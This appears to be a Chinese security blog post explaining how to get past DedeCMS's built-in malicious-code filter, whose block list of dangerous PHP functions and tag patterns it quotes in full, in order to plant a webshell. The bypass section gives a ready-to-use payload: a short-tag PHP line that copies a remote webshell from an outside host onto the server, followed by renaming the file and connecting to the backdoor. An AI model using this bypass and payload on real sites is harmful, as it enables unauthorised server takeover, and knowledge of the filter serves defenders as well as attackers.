免责声明:本公众号所提供的文字和信息仅供学习和研究使用,不得用于任何非法用途。我们强烈谴责任何非法活动,并严格遵守法律法规。读者应该自觉遵守法律法规,不得利用本公众号所提供的信息从事任何违法活动。本公众号不对读者的任何违法行为承担任何责任。
最近暗月弄了数个安全圈交流的群 欢迎前来加入 有需要好友添加微信发送 进群
需要渗透测试培训联系 扫一扫下面微信
dedecms 以往很多拿webshell的地方都做了限制,导致以往的漏洞点都存在检测,上传webshell难度加大。
以下是dedecms通用拦截的代码
global $cfg_disable_funs;
$cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace';
$cfg_disable_funs = $cfg_disable_funs.',[$]GLOBALS,[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,require,create_function,array_map,call_user_func,call_user_func_array,array_filert';
foreach (explode(",", $cfg_disable_funs) as $value) {
$value = str_replace(" ", "", $value);
if(!empty($value) && preg_match("#[^a-z]+['\"]*{$value}['\"]*[\s]*[([{']#i", " {$adbody}") == TRUE) {
$adbody = dede_htmlspecialchars($adbody);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$adbody}</pre>");
}
if(!empty($value) && preg_match("#<\?(php|=)#i", " {$adbody}") == TRUE) {
$adbody = dede_htmlspecialchars($adbody);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$adbody}</pre>");
}
if(!empty($value) && preg_match("#(script)[\s]*(language)[\s]*(=)[\s]*\\\\['\"]{1}(php)#i", " {$adbody}") == TRUE) {
$adbody = dede_htmlspecialchars($adbody);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$adbody}</pre>");
}
可以看到关键词都做了限制。而且还对<?php 这种标签做了检测。
绕过方法
可以使用php另外一种标签 <? ?>
在文件管理里新建一个txt 然后用copy函数 把远程的webshell后门 复制到本地
<? copy("http://192.168.10.158/shell.php","shell.php");?>
然后将文件重名为php文件在访问 在根目录就会生成webshell
连接webshell
公众号长期更新安全类文章,关注公众号,以便下次轻松查阅
觉得文章对你有帮助 请转发 点赞 收藏